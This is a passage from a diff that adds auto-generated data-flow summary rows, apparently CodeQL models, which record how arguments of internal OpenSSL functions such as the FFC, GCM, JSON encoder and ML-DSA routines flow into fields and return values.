"Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get_validate_params", "(const FFC_PARAMS *,unsigned char **,size_t *,int *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_set0_j", "(FFC_PARAMS *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**j]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_j", "(FFC_PARAMS *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*j]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**p]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**q]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[**g]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*p]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*q]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*g]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_flags", "(FFC_PARAMS *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_gindex", "(FFC_PARAMS *,int)", "", "Argument[1]", "Argument[*0].Field[*gindex]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_h", "(FFC_PARAMS *,int)", "", "Argument[1]", "Argument[*0].Field[*h]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_pcounter", "(FFC_PARAMS *,int)", "", "Argument[1]", "Argument[*0].Field[*pcounter]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_seed", "(FFC_PARAMS *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_seed", "(FFC_PARAMS *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_seed", "(FFC_PARAMS *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*seedlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_validate_params", "(FFC_PARAMS *,const unsigned char *,size_t,int)", "", "Argument[*1]", "Argument[*0].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_validate_params", "(FFC_PARAMS *,const unsigned char *,size_t,int)", "", "Argument[1]", "Argument[*0].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_validate_params", "(FFC_PARAMS *,const unsigned char *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*seedlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_validate_params", "(FFC_PARAMS *,const unsigned char *,size_t,int)", "", "Argument[3]", "Argument[*0].Field[*pcounter]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_simple_validate", "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_todata", "(const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[])", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_validate_unverifiable_g", "(BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *)", "", "Argument[*2]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "ossl_ffc_params_validate_unverifiable_g", "(BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *)", "", "Argument[*4]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_ffc_params_validate_unverifiable_g", "(BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_set_digest", "(FFC_PARAMS *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**mdname]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_set_digest", "(FFC_PARAMS *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**mdprops]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_set_digest", "(FFC_PARAMS *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*mdname]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_set_digest", "(FFC_PARAMS *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*mdprops]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_validate_private_key", "(const BIGNUM *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_validate_public_key", "(const FFC_PARAMS *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_validate_public_key_partial", "(const FFC_PARAMS *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_fnv1a_hash", "(uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_fnv1a_hash", "(uint8_t *,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_aad_update", "(PROV_GCM_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*gcm].Field[*ares]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[*1]", "Argument[*0].Field[*gcm].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[*1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*gcm].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*gcm].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*gcm].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[*ivlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[*ivlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_ghash_4bit", "(u64[2],const u128[16],const u8 *,size_t)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_ghash_4bit", "(u64[2],const u128[16],const u8 *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_ghash_4bit", "(u64[2],const u128[16],const u8 *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[*0].Field[**libctx]", "Argument[*1].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[*0].Field[*libctx]", "Argument[*1].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[*3]", "Argument[*1].Field[**hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[2]", "Argument[*1].Field[*keylen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[3]", "Argument[*1].Field[*hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_gen_deterministic_nonce_rfc6979", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_get_avail_threads", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_get_extension_type", "(size_t)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ht_count", "(HT *)", "", "Argument[*0].Field[*wpd].Field[*value_count]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ht_filter", "(HT *,size_t,..(*)(..),void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ht_foreach_until", "(HT *,..(*)(..),void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ht_insert", "(HT *,HT_KEY *,HT_VALUE *,HT_VALUE **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ht_new", "(const HT_CONFIG *)", "", "Argument[0]", "ReturnValue[*].Field[*config]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_BIT_STRING", "(ASN1_BIT_STRING *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_BIT_STRING", "(ASN1_BIT_STRING *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_BIT_STRING", "(ASN1_BIT_STRING *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_INTEGER", "(ASN1_INTEGER *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_INTEGER", "(ASN1_INTEGER *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_INTEGER", "(ASN1_INTEGER *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_uint64_int", "(unsigned char *,uint64_t,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_uint64_int", "(unsigned char *,uint64_t,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DH_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DH_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DH_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DHx_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DHx_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DHx_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ipaddr_to_asc", "(unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_is_partially_overlapping", "(const void *,const void *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_is_partially_overlapping", "(const void *,const void *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_i64", "(OSSL_JSON_ENC *,int64_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_in_error", "(OSSL_JSON_ENC *)", "", "Argument[*0].Field[*error]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_json_init", "(OSSL_JSON_ENC *,BIO *,uint32_t)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_init", "(OSSL_JSON_ENC *,BIO *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_init", "(OSSL_JSON_ENC *,BIO *,uint32_t)", "", "Argument[2]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_key", "(OSSL_JSON_ENC *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_key", "(OSSL_JSON_ENC *,const char *)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_set0_sink", "(OSSL_JSON_ENC *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_set0_sink", "(OSSL_JSON_ENC *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_str", "(OSSL_JSON_ENC *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_str", "(OSSL_JSON_ENC *,const char *)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_str_hex", "(OSSL_JSON_ENC *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_str_hex", "(OSSL_JSON_ENC *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_str_len", "(OSSL_JSON_ENC *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_str_len", "(OSSL_JSON_ENC *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_u64", "(OSSL_JSON_ENC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_kdf_data_new", "(void *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_kdf_data_new", "(void *)", "", "Argument[*0].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_keccak_init", "(KECCAK1600_CTX *,unsigned char,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*pad]", "value", "dfc-generated"] + - ["", "", True, "ossl_keccak_init", "(KECCAK1600_CTX *,unsigned char,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*block_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_keccak_init", "(KECCAK1600_CTX *,unsigned char,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*md_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_keccak_init", "(KECCAK1600_CTX *,unsigned char,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[*md_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_legacy_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_legacy_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_legacy_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_legacy_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_lh_strcasehash", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_lh_strcasehash", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_get_concrete", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_get_concrete", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_lib_ctx_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_lib_ctx_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_lib_ctx_get_ex_data_global", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*global]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_get_rcukey", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*rcu_local_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_is_child", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*ischild]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_mac_key_new", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_mac_key_new", "(OSSL_LIB_CTX *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_mac_key_new", "(OSSL_LIB_CTX *,int)", "", "Argument[1]", "ReturnValue[*].Field[*cmac]", "value", "dfc-generated"] + - ["", "", True, "ossl_md5_sha1_ctrl", "(MD5_SHA1_CTX *,int,int,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_md5_sha1_final", "(unsigned char *,MD5_SHA1_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_md5_sha1_update", "(MD5_SHA1_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_method_construct", "(OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_method_store_add", "(OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[**algs].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "ossl_method_store_fetch", "(OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_method_store_free", "(OSSL_METHOD_STORE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_method_store_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_method_store_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_common_pkcs8_fmt_order", "(const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**fmt]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_common_pkcs8_fmt_order", "(const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**fmt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_common_pkcs8_fmt_order", "(const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*fmt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[1]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**pub_encoding]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[*rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*3].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*3].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**pub_encoding]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t 